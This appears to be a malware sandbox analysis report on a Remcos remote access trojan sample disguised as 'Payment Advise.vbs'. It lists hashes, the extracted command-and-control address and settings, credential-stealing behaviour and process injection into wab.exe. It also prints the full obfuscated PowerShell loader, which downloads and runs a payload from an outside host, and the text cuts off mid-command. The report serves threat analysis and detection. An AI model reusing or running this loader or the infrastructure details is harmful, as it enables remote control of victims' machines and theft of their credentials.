remcos | 70159ae7002a1d433282d477cdaaa247eed10d314dca4ab9b4be716cb8c3509c

Resubmissions

10/07/2024, 11:57

240710-n4yrmaycmf8

10/07/2024, 11:50

240710-nz3j1swdkj8

10/07/2024, 11:39

240710-nr99wsxeqc10

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
10/07/2024, 11:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payment Advise.vbs
Size 154KB
Sample240710-nr99wsxeqc
SHA256 70159ae7002a1d433282d477cdaaa247eed10d314dca4ab9b4be716cb8c3509c
MD5 d58ff7b57a65e9a1bbf6707b658fe12a
SHA1 5f116b96f063f9ee061fc3606e77003122b8414c
SHA512 aa79e387bf3ab31ae73860a8fec0bbbeefaf63dd61146646ae5d2776a0f93b1aba869d8a7b0367dd9841f4d0d54bd9013a8e5e6987f170d172eb23c278999eb7
SSDEEP 3072:XPfUswQ6DNAESJ4gLPypBOkmGxtke+bfeK1sp5PlSLfVhxibKrWb6b2:XPfUswQ6DN/SJ4gLPyprDtke+bfxsp5z
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

103.237.87.40:1993

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-Y1ZTA5
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4824-59-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4852-56-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/4852-56-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4824-59-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2552-58-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	3548	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4208	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3356	powershell.exe
4208	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3356 set thread context of 4208	3356	powershell.exe	91
PID 4208 set thread context of 4852	4208	wab.exe	94
PID 4208 set thread context of 4824	4208	wab.exe	95
PID 4208 set thread context of 2552	4208	wab.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3548	powershell.exe
3548	powershell.exe
3356	powershell.exe
3356	powershell.exe
3356	powershell.exe
4852	wab.exe
4852	wab.exe
2552	wab.exe
2552	wab.exe
4852	wab.exe
4852	wab.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3356	powershell.exe
4208	wab.exe
4208	wab.exe
4208	wab.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeDebugPrivilege	2552	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4208	wab.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3628 wrote to memory of 3548	3628	WScript.exe	82
PID 3628 wrote to memory of 3548	3628	WScript.exe	82
PID 3548 wrote to memory of 468	3548	powershell.exe	85
PID 3548 wrote to memory of 468	3548	powershell.exe	85
PID 3548 wrote to memory of 3356	3548	powershell.exe	89
PID 3548 wrote to memory of 3356	3548	powershell.exe	89
PID 3548 wrote to memory of 3356	3548	powershell.exe	89
PID 3356 wrote to memory of 5104	3356	powershell.exe	90
PID 3356 wrote to memory of 5104	3356	powershell.exe	90
PID 3356 wrote to memory of 5104	3356	powershell.exe	90
PID 3356 wrote to memory of 4208	3356	powershell.exe	91
PID 3356 wrote to memory of 4208	3356	powershell.exe	91
PID 3356 wrote to memory of 4208	3356	powershell.exe	91
PID 3356 wrote to memory of 4208	3356	powershell.exe	91
PID 3356 wrote to memory of 4208	3356	powershell.exe	91
PID 4208 wrote to memory of 4852	4208	wab.exe	94
PID 4208 wrote to memory of 4852	4208	wab.exe	94
PID 4208 wrote to memory of 4852	4208	wab.exe	94
PID 4208 wrote to memory of 4852	4208	wab.exe	94
PID 4208 wrote to memory of 4824	4208	wab.exe	95
PID 4208 wrote to memory of 4824	4208	wab.exe	95
PID 4208 wrote to memory of 4824	4208	wab.exe	95
PID 4208 wrote to memory of 4824	4208	wab.exe	95
PID 4208 wrote to memory of 2552	4208	wab.exe	96
PID 4208 wrote to memory of 2552	4208	wab.exe	96
PID 4208 wrote to memory of 2552	4208	wab.exe	96
PID 4208 wrote to memory of 2552	4208	wab.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment Advise.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'lngdespring Skovhugsters Eisner Shagtobakkerne Kranierne95 Arctalian Kistebundene Sprkker Trits Lensherres Cyclopean ichthyographia Brolagde Despondentness Frumpily Carnegie Sectionalisation Varmevrks Bluelines Taffelandens Rheinlnderpolkaer Retves Zombie Rkebispens lngdespring Skovhugsters Eisner Shagtobakkerne Kranierne95 Arctalian Kistebundene Sprkker Trits Lensherres Cyclopean ichthyographia Brolagde Despondentness Frumpily Carnegie Sectionalisation Varmevrks Bluelines Taffelandens Rheinlnderpolkaer Retves Zombie Rkebispens';If (${host}.CurrentCulture) {$Modernitetsmodel++;}Function Instating101($Halfplane){$Konjaksglas=$Halfplane.Length-$Modernitetsmodel;$Lambdiod='SUBsTR';$Lambdiod+='ing';For( $Hydrogenperoxyd=7;$Hydrogenperoxyd -lt $Konjaksglas;$Hydrogenperoxyd+=8){$lngdespring+=$Halfplane.$Lambdiod.Invoke( $Hydrogenperoxyd, $Modernitetsmodel);}$lngdespring;}function Druides($Adresseredes){ & ($Applikationsniveauet) ($Adresseredes);}$Resteredes=Instating101 '.issembMBev.slioOveractzImpair,iVersantlLiteroslBuffernaTilkast/Unwrapp5S amful.Geledsm0Goegler Fo love(R,chmonWAcr.zeai Lr,rfon Coun.rd Daeda,oPoulticw ikkenesGla win OpbagteN DimetrTSuffrag Extempo1Forhand0 Destro..orgrun0Phaseal;Kindja AnalysWJumfr.diFedtoplnBlad,er6V,geren4Interce;Dagdrm. NedrivexSamkvem6,onneor4 Ifr ro; Akrost SyerskermicellevCombina:Ansaml 1Besigti2Noncler1Plaener.Communi0 Elektr) O ejon O iviliGResi.ifeUd,lokkcFascettkster,neoNazific/N,rrest2Slbning0Miljbe 1Blomste0Diplosi0,nharmo1P ntact0Hydrody1Un,eser Genne.F SubdediStimerirr,nsnineBasilisfS lifugoLunkto.x Vverie/ Kn,gle1Messing2Fst man1 Tju.un.harlyva0Ad,ydtu ';$Resulfurize=Instating101 'skravlsUHaemospsStrg,aneClozeacrHalvt.e-BoggledAUtchdosg Allitte Cedr cn FamilitNep.elo ';$Kranierne95=Instating101 'DiscusshHurtigttPoesiletF.ysetrpScapego: dramat/Spidsro/Gaulli 1 Oeretb0Databas3Om icre. ,cammi2Acceptt3Sensibe7 alvors.Skilles8Steurop6 Koe,se.Timarri2Immigra4Deutero7Kommand/Forka tgHjernevaTankegavDeathwoeFast giaDisciplf ConsolgInstrukiSulajmafKundenatBeaternsSacchar.Tillermh C ntinhdrev kikP rkins ';$Superponderant=Instating101 'Gr.edie>Halvfje ';$Applikationsniveauet=Instating101 'V kselfipresseheHetzendx lopess ';$Rrelses='Sprkker';$Relforstrker = Instating101 'P erocaeVidundec.ovetouh AleucaoSec.spe Levemul%S miaeraLog.kprpGenetabpNedj.stdVestletaAjivagetNattelyaHikkene%ebert,e\GrundkeSRe.ngagnThuml,niR,mnfrdtRangernmVideofinStewardsPyrogratQuizzifr Fi,tyeeDiskfiltDnningasInk rpo. UncommSV,dfjeltkontrolrMickass Armbrs &Bu pkin&Ove,nat Intubatela nekacAnholddhFalder oColdfin ClavipetHv.neri ';Druides (Instating101 'Phlebos$TordenpgUdstilllOutfiguounderdrbGylpedea,uftvaalTreader:Sq.eegeS onempeDism ssmblindtaiBobowles Pall.otForans aIn.ravagSubsistnUnsealaa.angosjt Smaas iAs,alteoPrimed,nMerite.=Samleba(Protrepc Fiske,mIn.luendQuinque Fedtlde/Perpe dc Tallie Tummedf$ TagvanR Udtrenep llaeulEffortff MolasmoNavle.nr SocialsOver.elt SimilirStra.ghk GodskreWoolgror Usympa)Do.papp ');Druides (Instating101 ' Autosv$ CobossgUdrullelAdvisbwoDobbeltbZarism a Regle.lPhalang:BkkenerSNikkihuh.reggria ,lokhug Departt DevaluoPaperknbMaxicoaa Remi.dk.elomedk nescape LameerrIrlndernSterilieIndvikl= edolk$ EgelveK spoon.rProduktaForskninMaderr,iAnywhiteFremfaerLe atinnmonz,nieFrater.9Vandprv5Tref.se.Differes.ryklaapSvagtbel AftgtsiBribewot Prerec( Disp u$Kirurg,SGrovfiluEquis zpphren,peKlemhagrMakkerspMaven io Poikiln .porindKnock,ueTerracerSugerfnaepepophnMo,ocartGeofysi)Gercrow ');Druides (Instating101 'Fracton[InfelicNSaganteeAnalo.atVasopre.Elegik SPlasodeepaullisrBrachycvislandsiFarmerbcHensigte Killi.P Clauseo.ounteriUneliminTa.eofftSvindleMShiedtuaMuistpanKollektaSprekelgP.raplee ntercormixtbes]Galgenh:Haarlak:HagerneSKniksefe Smer.icStyrehuu Unma,nrR.paratiSkabhalt facettyForsorgPbijobberChuttieoTinkli.t Coffeeo ,ndertcBlokposoTelefonl Tr.kot Tr mmel=Gennemt Intrins[ VirkemNC,smetiequal tyt Print,. TuitioSMateriaeVelstancSagyo tuF.langirTurretliNonbanktDiscanoyParadigP overdirUvej omoOvogenetstjerneo PelviocAfskrmeoRigidifl savfisTDirekthy Rgtopap MatriceKnout,n] Fal.en: Deprav:AflsserTselvflelBrnebils Gavlhu1Opt,gni2S ahtro ');$Kranierne95=$Shagtobakkerne[0];$Pseudovidenskabeligt= (Instating101 'misrefe$PaatalegQui,tenlAriantao Anor,hbEndoplaaTypegodl Ungrou:Cimsot,A Famul sMuniti kElementawebstedrUnco,nc=Impal nNFor.ipaeDelingswForplan-CatakinObl,ddonbNoncommjelectroe NawobdcTawpientMa.hpla Resso,rSH,erensyTeufitisSolesmetGrubbebe S.echamunconsc.TeucrinN,ndfrsleKamferttImmutab.BortdmmWMe.ermaeNicotinbhj,rnesCAl.alisl Apo.ogimyalcome Teternn Flerdot');$Pseudovidenskabeligt+=$Semistagnation[1];Druides ($Pseudovidenskabeligt);Druides (Instating101 ' Attest$ Polym AAncrao,sBef,agtkSlutafraAmpoul rStatsyd.ImmunitHCorrod,eOmoideuaBladecydHennpaae Turbulr assasss Friher[Fjerdep$SlingreRPantomiesporodosTroldmauSikkerhlRigsgref CurrisuSibiricrDe aedeiTonekrezMili aee.rizabl]utjenst= Broche$EnergimRForskrieAccomplsTranspltPliersueOpporturPredatoeInde.trdSelvsike,tandpusPsych t ');$Pharmacol22=Instating101 'worrico$ SolingASweatersembryotkRejfenkacorynitrMarvs.o.CockshoDSu.ergoo NavngiwEtagearnlodsstal Spr teoA,terina,rnebogdHyperbeFSpeci.liHjrnesol Mr.eliePrecond(Filmtem$KoordinK RameourStderetaResistenafstempiActinobeReciterr Lamp.rn solbrneAfkodes9Pro,tot5Tullsta,Sigilla$Ne,tariRuforfrde,undfrstSyrringv IkoniseHydrophs ettels)Eb,iate ';$Retves=$Semistagnation[0];Druides (Instating101 ' Forv l$EcologigAeldg,mlSilicleoGroggiebBe.eroeaMindehjl Mane,e:HavanlgsK kenreaHymenommU.leverf An,horunedtagenHeadligdRivensvs Setdowk Stor ylMarliteaPal shasAkutafdsTentatieChenoponUndersksBrandlo= Indpas( FrilufTPattedpeUvidenss StjkratTingest- linchePredningaTvr ejttDybsteghHa vton Prints$UngamboRMulvelteOpsttelt MensurvmultipleNedrullsDvrgagt)Primado ');while (!$samfundsklassens) {Druides (Instating101 ' s ecia$ Praecig.jortenlMedta.noSkurkerbNdde ruaregi.trl ,kalte:IsoxantTTrope.yrP.evotgahavla acHeadbanhPrecincyMicr remHa,pikseD,udgesd,acemosuNazidemsChabrinaBo,igmae.rimtal=Daase,a$ BonitetSkolemerSindsstuRunkelreVaregr, ') ;Druides $Pharmacol22;Druides (Instating101 ' AntiedSOp.icistAdgangsaMonolatrBegribet.agstek- esinsSRepellelUn.ubsiehan.elsePa eolopIndle.e Tsesseb4Nonpapa ');Druides (Instating101 ' Udlove$hamilg.gsaddl.blMidtbysoAfstdnibbiv.akeaUntiesalKagemnd: Trans.sMarconia Nebu,omO.zelspfSystemdu Ele trnTrickstdDoa.seksImmeab,k,amstillKohortea Wea.els BrkagesLa,ghalesandp pnUnbracisTvinesh= progra(ForlayaTFordunke jenestsOrnitoltHurrica-ActingsPDdsdmtea Supe.stArbej.sh Rjsern Anhydri$BattsenRVi.liple a.misftVenenatv P,lypreSaguransR,cepti)Trihour ') ;Druides (Instating101 'Handspr$Nabl.ssgM lighelAluminoo Parla,bU gainfaHengivelCyrilel: Vgt nhEEvolut iAfrundes,gorassn eklineSta.eraroutfi,t=Moisten$ BaldrigAftenkolLympho,o.hainstb Lowerca .ntereltilplig:TanagraSbespndikToftegaoAnticipvOpsamlihEmissiouNednormgVagtsomsStfronttAdjustae ilisnirAftenavsNoninfl+Agoutis+ bathol%Orkestr$PapirpeSTrangeshPa.riotaKickstagOmtyd,dtI,perfoo Go,ethbDiagnosaBilggegkVoodo ikVaskeaeeStationrDrengesnArbejdseker iab.Astronoc MidsizoSaligstuHumpingnGyn.stet Pre.id ') ;$Kranierne95=$Shagtobakkerne[$Eisner];}$svede=307322;$Lyksaliggrer=29555;Druides (Instating101 ' Sennep$LetuaregB,flodelin.onedoDynejakbdecompoa FriborlFortrde:Ku ulusTKreativrscreechihear hstsin.aposDemarka Interin=Trneter Ceras,iGSutterneHovelletCrackpo-PapulovCafs,edsoG,ussbenLydtekntDyspnoeeTorsiognCru,sewtbrashie Creatio$CollectRSvin,aveTros abtHaarrr.vantiphoeUaflad.s afeter ');Druides (Instating101 'Choreem$ MetallgFilosofl eklapsoFliv.erb .emateaClaustrlForman.:PolymixFSemirotiDesiccarBaresarmchelatoaExpectesAn.rknitOverratrAdvisabaMicrocrtOpada.seSixesrkgThunde iCon rate opskrurtemporan.orranceBetu,ins Myoce. Lft bev= Cha.oi Birkhol[Ven.ratSBevid.eyScroogesTealapptNskemode Besmrem,larmti. SkamfuCpollinooPot eenn QuadrivLevemulesammenrr Transpt Tykm k]Foransa: Halskd:KalekahFNatura,rFilm,ptoChemosymGeme heB arkivsa SygebesWaterwoe Indsen6 atall4DhakmadSLitastmtHobbierrbis,mroiSupersenMinnikagIntaker(Orkeste$ClinkerT CoftmarBjrneudiWitandetNyde.ensVinrdei)Priorit ');Druides (Instating101 'Kirsata$BortsolgLikvidild.aphrao ErythrbRecurvoaAbol shlM.sfort: Omsad,i.lensesc K reoghKero,int,orbearhGen,nitych roido,orssthgDisemborInventraRatlinepBarram hFor retiHelbredaT.auman Tilsigt=Skelnem Herskab[HearestSGrundvoy.estaposOverliftUnconvue TeletemManslau.Acri.ylTTopvieweDetailbxForfodstUnverse.PocosinEPowwowin Palogrcbldgrero OsmoladD,ylongiSt.iksenRealisag Retrad]Wolffis:le,harg:RnnebosAParur.sSBirefriC Coll tILkk.rneIp.ylone.Napie iG O,tpeeeEksempitStemmedSA,stalitrottingrtoluoleiNapevksntempelrgVgtf rd(inw.ver$CiabiavF Si.kepi KongeprBea,enem Oikomaa P,acars ,emoletAriad,erRealiziaSkiljpet Trit.aeMi.delhgtonightiLss,rugeBotanikrRat.ettn ilminsestatsmisGnasked)Luksusa ');Druides (Instating101 ' End.og$udvikligSagsreglboatleso HeadlibTabloidaArbe,dsl P.wder: NepionSUu gruncStnkepriStudievsinter,es umleriiLeave.wlAfsbedee Stillb=Frugtsu$Extendai blackwcDelasseh Rhagont Diktath.ondepeyunapproo PensiogCaelianrmer ymaa Komedipprogramhudspekui Agelasadiligen. ReaddisUprootau S.mmenbPhotolosSlopekotSall,wnrundermiiBeshowenRescripgMe ingo(inds ns$Tyra,nis SvejsevOpfrendeSunetted VaporieCtenoph,Tred,te$BeredskLTran.ceyPrele,tkAnticris Ba kspaBnnespil Similii EtagebgUni,plagEndang rBls rkleFrontalrRegnvaa)Frerska ');Druides $Scissile;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3548
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snitmnstrets.Str && echo t"
    3⤵
    PID:468
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'lngdespring Skovhugsters Eisner Shagtobakkerne Kranierne95 Arctalian Kistebundene Sprkker Trits Lensherres Cyclopean ichthyographia Brolagde Despondentness Frumpily Carnegie Sectionalisation Varmevrks Bluelines Taffelandens Rheinlnderpolkaer Retves Zombie Rkebispens lngdespring Skovhugsters Eisner Shagtobakkerne Kranierne95 Arctalian Kistebundene Sprkker Trits Lensherres Cyclopean ichthyographia Brolagde Despondentness Frumpily Carnegie Sectionalisation Varmevrks Bluelines Taffelandens Rheinlnderpolkaer Retves Zombie Rkebispens';If (${host}.CurrentCulture) {$Modernitetsmodel++;}Function Instating101($Halfplane){$Konjaksglas=$Halfplane.Length-$Modernitetsmodel;$Lambdiod='SUBsTR';$Lambdiod+='ing';For( $Hydrogenperoxyd=7;$Hydrogenperoxyd -lt $Konjaksglas;$Hydrogenperoxyd+=8){$lngdespring+=$Halfplane.$Lambdiod.Invoke( $Hydrogenperoxyd, $Modernitetsmodel);}$lngdespring;}function Druides($Adresseredes){ & ($Applikationsniveauet) ($Adresseredes);}$Resteredes=Instating101 '.issembMBev.slioOveractzImpair,iVersantlLiteroslBuffernaTilkast/Unwrapp5S amful.Geledsm0Goegler Fo love(R,chmonWAcr.zeai Lr,rfon Coun.rd Daeda,oPoulticw ikkenesGla win OpbagteN DimetrTSuffrag Extempo1Forhand0 Destro..orgrun0Phaseal;Kindja AnalysWJumfr.diFedtoplnBlad,er6V,geren4Interce;Dagdrm. NedrivexSamkvem6,onneor4 Ifr ro; Akrost SyerskermicellevCombina:Ansaml 1Besigti2Noncler1Plaener.Communi0 Elektr) O ejon O iviliGResi.ifeUd,lokkcFascettkster,neoNazific/N,rrest2Slbning0Miljbe 1Blomste0Diplosi0,nharmo1P ntact0Hydrody1Un,eser Genne.F SubdediStimerirr,nsnineBasilisfS lifugoLunkto.x Vverie/ Kn,gle1Messing2Fst man1 Tju.un.harlyva0Ad,ydtu ';$Resulfurize=Instating101 'skravlsUHaemospsStrg,aneClozeacrHalvt.e-BoggledAUtchdosg Allitte Cedr cn FamilitNep.elo ';$Kranierne95=Instating101 'DiscusshHurtigttPoesiletF.ysetrpScapego: dramat/Spidsro/Gaulli 1 Oeretb0Databas3Om icre. ,cammi2Acceptt3Sensibe7 alvors.Skilles8Steurop6 Koe,se.Timarri2Immigra4Deutero7Kommand/Forka tgHjernevaTankegavDeathwoeFast giaDisciplf ConsolgInstrukiSulajmafKundenatBeaternsSacchar.Tillermh C ntinhdrev kikP rkins ';$Superponderant=Instating101 'Gr.edie>Halvfje ';$Applikationsniveauet=Instating101 'V kselfipresseheHetzendx lopess ';$Rrelses='Sprkker';$Relforstrker = Instating101 'P erocaeVidundec.ovetouh AleucaoSec.spe Levemul%S miaeraLog.kprpGenetabpNedj.stdVestletaAjivagetNattelyaHikkene%ebert,e\GrundkeSRe.ngagnThuml,niR,mnfrdtRangernmVideofinStewardsPyrogratQuizzifr Fi,tyeeDiskfiltDnningasInk rpo. UncommSV,dfjeltkontrolrMickass Armbrs &Bu pkin&Ove,nat Intubatela nekacAnholddhFalder oColdfin ClavipetHv.neri ';Druides (Instating101 'Phlebos$TordenpgUdstilllOutfiguounderdrbGylpedea,uftvaalTreader:Sq.eegeS onempeDism ssmblindtaiBobowles Pall.otForans aIn.ravagSubsistnUnsealaa.angosjt Smaas iAs,alteoPrimed,nMerite.=Samleba(Protrepc Fiske,mIn.luendQuinque Fedtlde/Perpe dc Tallie Tummedf$ TagvanR Udtrenep llaeulEffortff MolasmoNavle.nr SocialsOver.elt SimilirStra.ghk GodskreWoolgror Usympa)Do.papp ');Druides (Instating101 ' Autosv$ CobossgUdrullelAdvisbwoDobbeltbZarism a Regle.lPhalang:BkkenerSNikkihuh.reggria ,lokhug Departt DevaluoPaperknbMaxicoaa Remi.dk.elomedk nescape LameerrIrlndernSterilieIndvikl= edolk$ EgelveK spoon.rProduktaForskninMaderr,iAnywhiteFremfaerLe atinnmonz,nieFrater.9Vandprv5Tref.se.Differes.ryklaapSvagtbel AftgtsiBribewot Prerec( Disp u$Kirurg,SGrovfiluEquis zpphren,peKlemhagrMakkerspMaven io Poikiln .porindKnock,ueTerracerSugerfnaepepophnMo,ocartGeofysi)Gercrow ');Druides (Instating101 'Fracton[InfelicNSaganteeAnalo.atVasopre.Elegik SPlasodeepaullisrBrachycvislandsiFarmerbcHensigte Killi.P Clauseo.ounteriUneliminTa.eofftSvindleMShiedtuaMuistpanKollektaSprekelgP.raplee ntercormixtbes]Galgenh:Haarlak:HagerneSKniksefe Smer.icStyrehuu Unma,nrR.paratiSkabhalt facettyForsorgPbijobberChuttieoTinkli.t Coffeeo ,ndertcBlokposoTelefonl Tr.kot Tr mmel=Gennemt Intrins[ VirkemNC,smetiequal tyt Print,. TuitioSMateriaeVelstancSagyo tuF.langirTurretliNonbanktDiscanoyParadigP overdirUvej omoOvogenetstjerneo PelviocAfskrmeoRigidifl savfisTDirekthy Rgtopap MatriceKnout,n] Fal.en: Deprav:AflsserTselvflelBrnebils Gavlhu1Opt,gni2S ahtro ');$Kranierne95=$Shagtobakkerne[0];$Pseudovidenskabeligt= (Instating101 'misrefe$PaatalegQui,tenlAriantao Anor,hbEndoplaaTypegodl Ungrou:Cimsot,A Famul sMuniti kElementawebstedrUnco,nc=Impal nNFor.ipaeDelingswForplan-CatakinObl,ddonbNoncommjelectroe NawobdcTawpientMa.hpla Resso,rSH,erensyTeufitisSolesmetGrubbebe S.echamunconsc.TeucrinN,ndfrsleKamferttImmutab.BortdmmWMe.ermaeNicotinbhj,rnesCAl.alisl Apo.ogimyalcome Teternn Flerdot');$Pseudovidenskabeligt+=$Semistagnation[1];Druides ($Pseudovidenskabeligt);Druides (Instating101 ' Attest$ Polym AAncrao,sBef,agtkSlutafraAmpoul rStatsyd.ImmunitHCorrod,eOmoideuaBladecydHennpaae Turbulr assasss Friher[Fjerdep$SlingreRPantomiesporodosTroldmauSikkerhlRigsgref CurrisuSibiricrDe aedeiTonekrezMili aee.rizabl]utjenst= Broche$EnergimRForskrieAccomplsTranspltPliersueOpporturPredatoeInde.trdSelvsike,tandpusPsych t ');$Pharmacol22=Instating101 'worrico$ SolingASweatersembryotkRejfenkacorynitrMarvs.o.CockshoDSu.ergoo NavngiwEtagearnlodsstal Spr teoA,terina,rnebogdHyperbeFSpeci.liHjrnesol Mr.eliePrecond(Filmtem$KoordinK RameourStderetaResistenafstempiActinobeReciterr Lamp.rn solbrneAfkodes9Pro,tot5Tullsta,Sigilla$Ne,tariRuforfrde,undfrstSyrringv IkoniseHydrophs ettels)Eb,iate ';$Retves=$Semistagnation[0];Druides (Instating101 ' Forv l$EcologigAeldg,mlSilicleoGroggiebBe.eroeaMindehjl Mane,e:HavanlgsK kenreaHymenommU.leverf An,horunedtagenHeadligdRivensvs Setdowk Stor ylMarliteaPal shasAkutafdsTentatieChenoponUndersksBrandlo= Indpas( FrilufTPattedpeUvidenss StjkratTingest- linchePredningaTvr ejttDybsteghHa vton Prints$UngamboRMulvelteOpsttelt MensurvmultipleNedrullsDvrgagt)Primado ');while (!$samfundsklassens) {Druides (Instating101 ' s ecia$ Praecig.jortenlMedta.noSkurkerbNdde ruaregi.trl ,kalte:IsoxantTTrope.yrP.evotgahavla acHeadbanhPrecincyMicr remHa,pikseD,udgesd,acemosuNazidemsChabrinaBo,igmae.rimtal=Daase,a$ BonitetSkolemerSindsstuRunkelreVaregr, ') ;Druides $Pharmacol22;Druides (Instating101 ' AntiedSOp.icistAdgangsaMonolatrBegribet.agstek- esinsSRepellelUn.ubsiehan.elsePa eolopIndle.e Tsesseb4Nonpapa ');Druides (Instating101 ' Udlove$hamilg.gsaddl.blMidtbysoAfstdnibbiv.akeaUntiesalKagemnd: Trans.sMarconia Nebu,omO.zelspfSystemdu Ele trnTrickstdDoa.seksImmeab,k,amstillKohortea Wea.els BrkagesLa,ghalesandp pnUnbracisTvinesh= progra(ForlayaTFordunke jenestsOrnitoltHurrica-ActingsPDdsdmtea Supe.stArbej.sh Rjsern Anhydri$BattsenRVi.liple a.misftVenenatv P,lypreSaguransR,cepti)Trihour ') ;Druides (Instating101 'Handspr$Nabl.ssgM lighelAluminoo Parla,bU gainfaHengivelCyrilel: Vgt nhEEvolut iAfrundes,gorassn eklineSta.eraroutfi,t=Moisten$ BaldrigAftenkolLympho,o.hainstb Lowerca .ntereltilplig:TanagraSbespndikToftegaoAnticipvOpsamlihEmissiouNednormgVagtsomsStfronttAdjustae ilisnirAftenavsNoninfl+Agoutis+ bathol%Orkestr$PapirpeSTrangeshPa.riotaKickstagOmtyd,dtI,perfoo Go,ethbDiagnosaBilggegkVoodo ikVaskeaeeStationrDrengesnArbejdseker iab.Astronoc MidsizoSaligstuHumpingnGyn.stet Pre.id ') ;$Kranierne95=$Shagtobakkerne[$Eisner];}$svede=307322;$Lyksaliggrer=29555;Druides (Instating101 ' Sennep$LetuaregB,flodelin.onedoDynejakbdecompoa FriborlFortrde:Ku ulusTKreativrscreechihear hstsin.aposDemarka Interin=Trneter Ceras,iGSutterneHovelletCrackpo-PapulovCafs,edsoG,ussbenLydtekntDyspnoeeTorsiognCru,sewtbrashie Creatio$CollectRSvin,aveTros abtHaarrr.vantiphoeUaflad.s afeter ');Druides (Instating101 'Choreem$ MetallgFilosofl eklapsoFliv.erb .emateaClaustrlForman.:PolymixFSemirotiDesiccarBaresarmchelatoaExpectesAn.rknitOverratrAdvisabaMicrocrtOpada.seSixesrkgThunde iCon rate opskrurtemporan.orranceBetu,ins Myoce. Lft bev= Cha.oi Birkhol[Ven.ratSBevid.eyScroogesTealapptNskemode Besmrem,larmti. SkamfuCpollinooPot eenn QuadrivLevemulesammenrr Transpt Tykm k]Foransa: Halskd:KalekahFNatura,rFilm,ptoChemosymGeme heB arkivsa SygebesWaterwoe Indsen6 atall4DhakmadSLitastmtHobbierrbis,mroiSupersenMinnikagIntaker(Orkeste$ClinkerT CoftmarBjrneudiWitandetNyde.ensVinrdei)Priorit ');Druides (Instating101 'Kirsata$BortsolgLikvidild.aphrao ErythrbRecurvoaAbol shlM.sfort: Omsad,i.lensesc K reoghKero,int,orbearhGen,nitych roido,orssthgDisemborInventraRatlinepBarram hFor retiHelbredaT.auman Tilsigt=Skelnem Herskab[HearestSGrundvoy.estaposOverliftUnconvue TeletemManslau.Acri.ylTTopvieweDetailbxForfodstUnverse.PocosinEPowwowin Palogrcbldgrero OsmoladD,ylongiSt.iksenRealisag Retrad]Wolffis:le,harg:RnnebosAParur.sSBirefriC Coll tILkk.rneIp.ylone.Napie iG O,tpeeeEksempitStemmedSA,stalitrottingrtoluoleiNapevksntempelrgVgtf rd(inw.ver$CiabiavF Si.kepi KongeprBea,enem Oikomaa P,acars ,emoletAriad,erRealiziaSkiljpet Trit.aeMi.delhgtonightiLss,rugeBotanikrRat.ettn ilminsestatsmisGnasked)Luksusa ');Druides (Instating101 ' End.og$udvikligSagsreglboatleso HeadlibTabloidaArbe,dsl P.wder: NepionSUu gruncStnkepriStudievsinter,es umleriiLeave.wlAfsbedee Stillb=Frugtsu$Extendai blackwcDelasseh Rhagont Diktath.ondepeyunapproo PensiogCaelianrmer ymaa Komedipprogramhudspekui Agelasadiligen. ReaddisUprootau 